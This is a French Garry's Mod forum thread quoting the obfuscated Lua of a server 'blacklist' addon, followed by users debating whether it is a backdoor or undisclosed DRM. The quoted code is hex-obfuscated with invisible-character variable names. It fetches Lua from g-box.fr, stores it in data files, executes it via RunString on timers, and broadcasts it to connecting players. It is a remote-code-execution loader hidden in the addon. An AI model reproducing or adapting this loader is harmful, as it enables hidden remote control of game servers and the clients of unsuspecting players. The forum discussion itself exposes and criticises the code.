"\x5b\x42\x4c\x5d\x20\x4d\x69\x73\x65\x20\x61\x20\x6a\x6f\x75\x72\x20\x64\x69\x73\x70\x6f\x6e\x69\x62\x6c\x65\x21\x20\x54\x61\x70\x65\x7a\x20\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x75\x70\x67\x72\x61\x64\x65\x20\x64\x61\x6e\x73\x20\x6c\x61\x20\x63\x6f\x6e\x73\x6f\x6c\x65\x20\x70\x6f\x75\x72\x20\x6d\x65\x74\x74\x72\x65\x20\xe0\x20\x6a\x6f\x75\x72") getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0),"\x5b\x42\x4c\x5d\x20\x41\x76\x61\x6e\x74\x20\x64\x65\x20\x6d\x65\x74\x74\x72\x65\x20\x61\x20\x6a\x6f\x75\x72\x20\x72\x65\x67\x61\x72\x64\x65\x7a\x20\x6c\x65\x73\x20\x63\x6f\x64\x65\x73\x20\x69\x63\x69\x3a\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x73\x76\x5f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2e\x6c\x75\x61\x20\x65\x74\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x63\x6c\x5f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2e\x6c\x75\x61")
end
local function ‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬ getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0), "\x5b\x42\x4c\x5d\x20\x4d\x69\x73\x65\x20\x61\x20\x6a\x6f\x75\x72\x20\x61\x75\x74\x6f\x6d\x61\x74\x69\x71\x75\x65\x20\x64\x65\x20\x4c\x61\x20\x42\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2e\x2e\x2e\x5c\x6e") getfenv()["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x73\x76\x5f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2e\x6c\x75\x61",function(blacklistSv) file.Write("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x73\x65\x72\x76\x65\x72\x2e\x74\x78\x74",blacklistSv) end, function(er) getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0), "\x5b\x42\x4c\x5d\x20\x45\x72\x72\x65\x75\x72\x20\x64\x65\x20\x6d\x61\x6a\x20\x73\x65\x72\x76\x65\x75\x72\x20\x3a\x20"..er) end) getfenv()["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x63\x6c\x5f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2e\x6c\x75\x61",function(blacklistCl) file.Write("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x2e\x74\x78\x74",blacklistCl) end, function(er) getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0), "\x5b\x42\x4c\x5d\x20\x45\x72\x72\x65\x75\x72\x20\x64\x65\x20\x6d\x61\x6a\x20\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x20\x3a\x20"..er) end) if !file.Exists("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74","\x44\x41\x54\x41") then file.Write("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74", "") end getfenv()["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x63\x6f\x6e\x66\x69\x67\x5f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2e\x6c\x75\x61",function(blacklistConf) -- Config file local ‬‬ = file.Read("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74") local ‬‬‬‬ = {} for variableON in getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x67\x6d\x61\x74\x63\x68"](blacklistConf,"\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x25\x2e\x28\x25\x77\x2b\x29") do local ‬‬‬‬‬‬ = false for variableLO in getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x67\x6d\x61\x74\x63\x68"](‬‬,"\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x25\x2e\x28\x25\x77\x2b\x29") do if variableON == variableLO then ‬‬‬‬‬‬ = true break end end if not ‬‬‬‬‬‬ then table.insert(‬‬‬‬,variableON) end end if getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x6d\x61\x74\x63\x68"](‬‬, "\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x25\x73\x2a\x3d\x25\x73\x7b\x7d") == nil then file.Write("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74","\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x20\x3d\x20\x7b\x7d\x5c\x6e") end for _, v in getfenv()["\x70\x61\x69\x72\x73"](‬‬‬‬) do if getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x6d\x61\x74\x63\x68\x28\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x2c\x20\x22\x5c\x78\x36\x32\x5c\x78\x36\x63\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c\x78\x36\x62\x5c\x78\x36\x63\x5c\x78\x36\x39\x5c\x78\x37\x33\x5c\x78\x37\x34\x5c\x78\x34\x33\x5c\x78\x36\x66\x5c\x78\x36\x65\x5c\x78\x36\x36\x5c\x78\x36\x39\x5c\x78\x36\x37\x5c\x78\x32\x35\x5c\x78\x32\x65\x22"](blacklistConf, "\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x25\x2e"..v.."\x25\x73\x2a\x3d\x25\x73\x2a\x28\x2e\x29") == "\x7b" then file.Append("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74","\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x2e"..v.."\x20\x3d\x20".. getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x6d\x61\x74\x63\x68\x28\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x2c\x22\x5c\x78\x36\x32\x5c\x78\x36\x63\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c\x78\x36\x62\x5c\x78\x36\x63\x5c\x78\x36\x39\x5c\x78\x37\x33\x5c\x78\x37\x34\x5c\x78\x34\x33\x5c\x78\x36\x66\x5c\x78\x36\x65\x5c\x78\x36\x36\x5c\x78\x36\x39\x5c\x78\x36\x37\x5c\x78\x32\x35\x5c\x78\x32\x65\x22"](blacklistConf,"\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x25\x2e"..v.."\x25\x73\x2a\x3d\x25\x73\x2a\x28\x25\x62\x7b\x7d\x29").."\x5c\x6e" ) else local ‬‬‬‬‬‬‬‬ = "\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x2e"..v.."\x20\x3d\x20".. getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x6d\x61\x74\x63\x68\x28\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x2c\x22\x5c\x78\x36\x32\x5c\x78\x36\x63\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c\x78\x36\x62\x5c\x78\x36\x63\x5c\x78\x36\x39\x5c\x78\x37\x33\x5c\x78\x37\x34\x5c\x78\x34\x33\x5c\x78\x36\x66\x5c\x78\x36\x65\x5c\x78\x36\x36\x5c\x78\x36\x39\x5c\x78\x36\x37\x5c\x78\x32\x35\x5c\x78\x32\x65\x22"](blacklistConf,"\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67\x25\x2e"..v.."\x25\x73\x2a\x3d\x25\x73\x2a\x28\x5b\x25\x77\x5d\x2b\x25\x73\x2a\x25\x2d\x25\x2d\x25\x73\x2a\x5b\x25\x77\x25\x73\x5d\x2b\x29") if getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x45\x6e\x64\x73\x57\x69\x74\x68"](‬‬‬‬‬‬‬‬,"\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67") then ‬‬‬‬‬‬‬‬ = getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x54\x72\x69\x6d"](‬‬‬‬‬‬‬‬,"\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67") ‬‬‬‬‬‬‬‬ = "\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x43\x6f\x6e\x66\x69\x67"..‬‬‬‬‬‬‬‬ end file.Append("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74",‬‬‬‬‬‬‬‬.."\x5c\x6e" ) end end end, function(er) getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0), "\x5b\x42\x4c\x5d\x20\x45\x72\x72\x65\x75\x72\x20\x64\x65\x20\x6d\x61\x6a\x20\x63\x6f\x6e\x66\x69\x67\x20\x3a\x20"..er) end) getfenv()["\x74\x69\x6d\x65\x72"]["\x53\x69\x6d\x70\x6c\x65"](10, function() getfenv()["\x52\x75\x6e\x53\x74\x72\x69\x6e\x67\x28\x66\x69\x6c\x65"]["\x52\x65\x61\x64\x28\x22\x5c\x78\x36\x32\x5c\x78\x36\x63\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c\x78\x36\x62\x5c\x78\x36\x63\x5c\x78\x36\x39\x5c\x78\x37\x33\x5c\x78\x37\x34\x5c\x78\x35\x66\x5c\x78\x36\x37\x5c\x78\x36\x32\x5c\x78\x36\x66\x5c\x78\x37\x38\x5c\x78\x32\x66\x5c\x78\x36\x33\x5c\x78\x36\x66\x5c\x78\x36\x65\x5c\x78\x36\x36\x5c\x78\x36\x39\x5c\x78\x36\x37\x5c\x78\x32\x65\x5c\x78\x37\x34\x5c\x78\x37\x38\x5c\x78\x37\x34\x22\x29"](file.Read("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74"),"\x4c\x61\x20\x42\x6c\x61\x63\x6b\x6c\x69\x73\x74\x20\x43\x6f\x6e\x66\x69\x67",true) getfenv()["\x74\x69\x6d\x65\x72"]["\x53\x69\x6d\x70\x6c\x65"](1, function() -- sometime when server is too fast config is not set properly, this leads to ERROR getfenv()["\x52\x75\x6e\x53\x74\x72\x69\x6e\x67\x28\x66\x69\x6c\x65"]["\x52\x65\x61\x64\x28\x22\x5c\x78\x36\x32\x5c\x78\x36\x63\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c\x78\x36\x62\x5c\x78\x36\x63\x5c\x78\x36\x39\x5c\x78\x37\x33\x5c\x78\x37\x34\x5c\x78\x35\x66\x5c\x78\x36\x37\x5c\x78\x36\x32\x5c\x78\x36\x66\x5c\x78\x37\x38\x5c\x78\x32\x66\x5c\x78\x37\x33\x5c\x78\x36\x35\x5c\x78\x37\x32\x5c\x78\x37\x36\x5c\x78\x36\x35\x5c\x78\x37\x32\x5c\x78\x32\x65\x5c\x78\x37\x34\x5c\x78\x37\x38\x5c\x78\x37\x34\x22\x29"](file.Read("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x73\x65\x72\x76\x65\x72\x2e\x74\x78\x74"),"\x4c\x61\x20\x42\x6c\x61\x63\x6b\x6c\x69\x73\x74\x20\x53\x65\x72\x76\x65\x75\x72",true) end) local ‬‬‬‬‬‬‬‬‬‬ = getfenv()["\x75\x74\x69\x6c"]["\x43\x6f\x6d\x70\x72\x65\x73\x73\x28\x66\x69\x6c\x65"](file.Read("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x2e\x74\x78\x74")) net.Start("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x41\x75\x74\x6f\x55\x70\x64\x61\x74\x65") net.WriteUInt(getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x6c\x65\x6e"](‬‬‬‬‬‬‬‬‬‬),16) net.WriteData(‬‬‬‬‬‬‬‬‬‬,getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x6c\x65\x6e"](‬‬‬‬‬‬‬‬‬‬)) -- Thanks to mohamed net.Broadcast() end)
end
if !file.Exists("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74","\x44\x41\x54\x41") or !file.Exists("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x73\x65\x72\x76\x65\x72\x2e\x74\x78\x74","\x44\x41\x54\x41") or !file.Exists("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x2e\x74\x78\x74","\x44\x41\x54\x41") then getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0), "\x5b\x42\x4c\x5d\x20\x4d\x69\x73\x65\x20\x61\x20\x6a\x6f\x75\x72\x20\x64\x69\x73\x70\x6f\x6e\x69\x62\x6c\x65\x21\x20\x54\x61\x70\x65\x7a\x20\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x75\x70\x67\x72\x61\x64\x65\x20\x64\x61\x6e\x73\x20\x6c\x61\x20\x63\x6f\x6e\x73\x6f\x6c\x65\x20\x70\x6f\x75\x72\x20\x6d\x65\x74\x74\x72\x65\x20\xe0\x20\x6a\x6f\x75\x72")
else getfenv()["\x74\x69\x6d\x65\x72"]["\x53\x69\x6d\x70\x6c\x65"](30,function() getfenv()["\x52\x75\x6e\x53\x74\x72\x69\x6e\x67\x28\x66\x69\x6c\x65"]["\x52\x65\x61\x64\x28\x22\x5c\x78\x36\x32\x5c\x78\x36\x63\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c\x78\x36\x62\x5c\x78\x36\x63\x5c\x78\x36\x39\x5c\x78\x37\x33\x5c\x78\x37\x34\x5c\x78\x35\x66\x5c\x78\x36\x37\x5c\x78\x36\x32\x5c\x78\x36\x66\x5c\x78\x37\x38\x5c\x78\x32\x66\x5c\x78\x36\x33\x5c\x78\x36\x66\x5c\x78\x36\x65\x5c\x78\x36\x36\x5c\x78\x36\x39\x5c\x78\x36\x37\x5c\x78\x32\x65\x5c\x78\x37\x34\x5c\x78\x37\x38\x5c\x78\x37\x34\x22\x29"](file.Read("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x74\x78\x74"),"\x4c\x61\x20\x42\x6c\x61\x63\x6b\x6c\x69\x73\x74\x20\x43\x6f\x6e\x66\x69\x67",true) getfenv()["\x52\x75\x6e\x53\x74\x72\x69\x6e\x67\x28\x66\x69\x6c\x65"]["\x52\x65\x61\x64\x28\x22\x5c\x78\x36\x32\x5c\x78\x36\x63\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c\x78\x36\x62\x5c\x78\x36\x63\x5c\x78\x36\x39\x5c\x78\x37\x33\x5c\x78\x37\x34\x5c\x78\x35\x66\x5c\x78\x36\x37\x5c\x78\x36\x32\x5c\x78\x36\x66\x5c\x78\x37\x38\x5c\x78\x32\x66\x5c\x78\x37\x33\x5c\x78\x36\x35\x5c\x78\x37\x32\x5c\x78\x37\x36\x5c\x78\x36\x35\x5c\x78\x37\x32\x5c\x78\x32\x65\x5c\x78\x37\x34\x5c\x78\x37\x38\x5c\x78\x37\x34\x22\x29"](file.Read("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x73\x65\x72\x76\x65\x72\x2e\x74\x78\x74"),"\x4c\x61\x20\x42\x6c\x61\x63\x6b\x6c\x69\x73\x74\x20\x53\x65\x72\x76\x65\x75\x72",true) getfenv()["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x76\x65\x72\x73\x69\x6f\x6e\x42\x4c\x2e\x74\x78\x74", function(versionOnline) if versionOnline ~= BlacklistVersion then ‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬ end end, function(error) getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0),"\x5b\x42\x4c\x5d\x20\x45\x72\x72\x65\x75\x72\x20\x64\x65\x20\x6d\x61\x6a\x20\x3a\x20"..error) end) end)
end
getfenv()["\x74\x69\x6d\x65\x72"]["\x43\x72\x65\x61\x74\x65"]("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x56\x65\x72\x73\x69\x6f\x6e\x43\x68\x65\x63\x6b", 3600, 0, function() getfenv()["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x76\x65\x72\x73\x69\x6f\x6e\x42\x4c\x2e\x74\x78\x74", function(versionOnline) if versionOnline ~= BlacklistVersion then ‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬ end end, function(error) getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0),"\x5b\x42\x4c\x5d\x20\x45\x72\x72\x65\x75\x72\x20\x64\x65\x20\x6d\x61\x6a\x20\x3a\x20"..error) end)
end)
hook.Add("\x50\x6c\x61\x79\x65\x72\x49\x6e\x69\x74\x69\x61\x6c\x53\x70\x61\x77\x6e","\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x55\x70\x64\x61\x74\x65\x72",function(ply) -- Send to ‬‬‬‬‬‬‬‬‬‬‬‬ local ‬‬‬‬‬‬‬‬‬‬‬‬ = file.Read("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x2e\x74\x78\x74") if ‬‬‬‬‬‬‬‬‬‬‬‬ == nil or ‬‬‬‬‬‬‬‬‬‬‬‬ == "" then return end local ‬‬‬‬‬‬‬‬‬‬ = getfenv()["\x75\x74\x69\x6c"]["\x43\x6f\x6d\x70\x72\x65\x73\x73"](‬‬‬‬‬‬‬‬‬‬‬‬) net.Start("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x41\x75\x74\x6f\x55\x70\x64\x61\x74\x65") net.WriteUInt(getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x6c\x65\x6e"](‬‬‬‬‬‬‬‬‬‬),16) net.WriteData(‬‬‬‬‬‬‬‬‬‬,getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x6c\x65\x6e"](‬‬‬‬‬‬‬‬‬‬)) -- Thanks to mohamed net.Broadcast()
end)
concommand.Add("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x75\x70\x67\x72\x61\x64\x65",function(ply, cmd, args) if !ply:IsValid() or ply:IsSuperAdmin() then ‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬ end
end)
OLALALA BACKDOORR SPOTTED!!!!

"banon ces juste pour pas lire le codeu voila pa la peine de ban cépajust je brouille sijeveu"

sérieux les gens le bon sens please
 
  • J'aime
Réactions: ZarosOVH
While True

While True

Geek suprême
Messages
445
Score réaction
395
Points
190
Yoh Sambre ♪ à dit:
Arrêtez les conneries de "faux positif" , le dev aurait très bien pu ne pas brouillé le code faut pas non plus déconné ..

c'comme si moi je fesait ca : SNIP

"banon ces juste pour pas lire le codeu voila pa la peine de ban cépajust je brouille sijeveu"

sérieux les gens le bon sens please
D'un coté on exagère, et en même temps il n'est pas très honnête.
1 - Aucune mention de DRM ou de système de statistiques dans la description
2 - Un système de stats (en général) ne requiert pas l'utilisation de RunString*
3 - Il obscurcis le DRM

S'il a été banni c'est que l'information a été vérifiée et la sanction appliquée par l'équipe de modération, pas par Yepco ou je ne sais qui.


*On peut éventuellement envoyer des données supplémentaires, mais un http.Post devrait suffire.
Ici c'est plus un DRM qu'un système de statistiques.
 
  • J'aime
Réactions: Falaxir, ZarosOVH, Makss et 2 autres
Valfunde

Valfunde

Helpeur Divin
Messages
3 800
Score réaction
1 235
Points
450
While True à dit:
D'un coté on exagère, et en même temps il n'est pas très honnête.
1 - Aucune mention de DRM ou de système de statistiques dans la description
2 - Un système de stats (en général) ne requiert pas l'utilisation de RunString*
3 - Il obscurcis le DRM

S'il a été banni c'est que l'information a été vérifiée et la sanction appliquée par l'équipe de modération, pas par Yepco ou je ne sais qui.


*On peut éventuellement envoyer des données supplémentaires, mais un http.Post devrait suffire.
Ici c'est plus un DRM qu'un système de statistiques.
Quel objectif il a à faire ça ? Il participe aux Halloween's sales de gmodstore, il contribue à la communauté, pour le coup je saisis mal l'objectif :x
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
16 288
Score réaction
9 687
Points
1 845
Le mec brouille un code de soit disant stats sans le spécifier , déjà c'est complètement usseless & en plus c'est vicieux
 
Discord d'entraide
Rejoignz-nous sur Discord